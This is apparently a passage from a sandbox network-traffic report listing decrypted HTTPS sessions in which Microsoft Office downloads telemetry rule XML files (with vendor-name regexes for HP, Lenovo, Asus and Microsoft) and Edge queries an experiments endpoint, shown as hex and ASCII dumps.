2024-11-22 22:06:23 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.5	49732	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:22 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 22:06:23 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 22:06:23 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 89a9fa5c-d01e-0017-5438-3cb035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T220623Z-178bfbc474bq2pr7hC1NYCkfgg00000003rg000000009x10 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 22:06:23 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.5	49738	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:25 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 22:06:25 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 22:06:25 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 657d02d2-201e-0033-2f57-3cb167000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T220625Z-178bfbc474bp8mkvhC1NYCzqnn00000003d000000000czkw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 22:06:25 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.5	49739	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:25 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 22:06:25 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 22:06:25 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 3e5933f5-801e-00ac-572e-3cfd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T220625Z-178bfbc474bpscmfhC1NYCfc2c000000021g00000000ts6h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 22:06:25 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.5	49741	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:25 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 22:06:25 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 22:06:25 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: d8f13441-a01e-0021-5e2d-3c814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T220625Z-178bfbc474bscnbchC1NYCe7eg00000003r000000000brz2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 22:06:25 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.5	49740	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:25 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 22:06:26 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 22:06:25 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: 30601852-401e-0047-7476-3b8597000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T220625Z-174c587ffdfldtt2hC1TEBwv9c00000001s000000000u61n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 22:06:26 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.5	49742	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:25 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 22:06:26 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 22:06:26 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: 6ebbc676-001e-005a-784b-3cc3d0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T220626Z-15b8b599d885v8r9hC1TEB104g000000020000000000k4yp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 22:06:26 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	49750	94.245.104.56	443	7316	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:27 UTC	428	OUT	GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1 Host: api.edgeoffer.microsoft.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-22 22:06:27 UTC	584	IN	HTTP/1.1 200 OK Content-Length: 0 Connection: close Content-Type: application/x-protobuf; charset=utf-8 Date: Fri, 22 Nov 2024 22:06:26 GMT Server: Microsoft-IIS/10.0 Set-Cookie: ARRAffinity=3e4931a31fa9f6b0a9a0b3e0bec1ba0e7d81601066244883a4782a099ce2b765;Path=/;HttpOnly;Secure;Domain=api.edgeoffer.microsoft.com Set-Cookie: ARRAffinitySameSite=3e4931a31fa9f6b0a9a0b3e0bec1ba0e7d81601066244883a4782a099ce2b765;Path=/;HttpOnly;SameSite=None;Secure;Domain=api.edgeoffer.microsoft.com Request-Context: appId=cid-v1:48af8e22-9427-456d-9a55-67a1e42a1bd9 X-Powered-By: ASP.NET

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.5	49752	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:27 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 22:06:28 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 22:06:28 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 9bcae678-901e-007b-2946-3cac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T220628Z-178bfbc474b7cbwqhC1NYC8z4n00000003k0000000002vv8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 22:06:28 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.5	49751	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:27 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 22:06:28 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 22:06:28 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 5235ff2f-501e-008f-1c4e-3c9054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T220628Z-178bfbc474bpscmfhC1NYCfc2c000000022000000000s7bf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 22:06:28 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.5	49753	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:27 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 22:06:28 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 22:06:28 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 922c5f4e-601e-005c-577c-3bf06f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T220628Z-174c587ffdfks6tlhC1TEBeza4000000023000000000df36 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-22 22:06:28 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.5	49755	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:27 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 22:06:28 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 22:06:28 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: a1d80e42-301e-0096-338c-3ae71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T220628Z-178bfbc474bw8bwphC1NYC38b400000003ag00000000p8rn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 22:06:28 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.5	49757	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:28 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 22:06:28 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 22:06:28 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: b82db720-b01e-0053-528c-3acdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T220628Z-174c587ffdfgcs66hC1TEB69cs00000001y0000000006nv2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
